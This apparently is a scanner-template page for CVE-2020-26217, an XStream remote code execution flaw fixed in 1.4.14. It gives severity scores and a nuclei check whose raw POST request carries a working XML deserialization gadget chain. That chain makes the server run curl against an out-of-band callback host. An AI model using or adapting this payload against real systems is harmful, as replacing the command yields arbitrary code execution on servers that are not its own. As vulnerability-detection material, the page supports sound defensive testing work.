XStream <1.4.14 - Remote Code Execution

highseverity

8.8CVSS score

85%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Fixed in 1.4.14.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2020-26217 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26217

info:
  name: XStream <1.4.14 - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Fixed in 1.4.14.
  reference:
    - https://x-stream.github.io/CVE-2020-26217.html
    - https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
    - https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
    - https://nvd.nist.gov/vuln/detail/cve-2020-26217
    - https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-26217
    cwe-id: CWE-78
    epss-score: 0.84968
    epss-percentile: 0.99714
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,deserialization,rce,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>curl</string>
                                  <string>http://{{interactsh-url}}</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from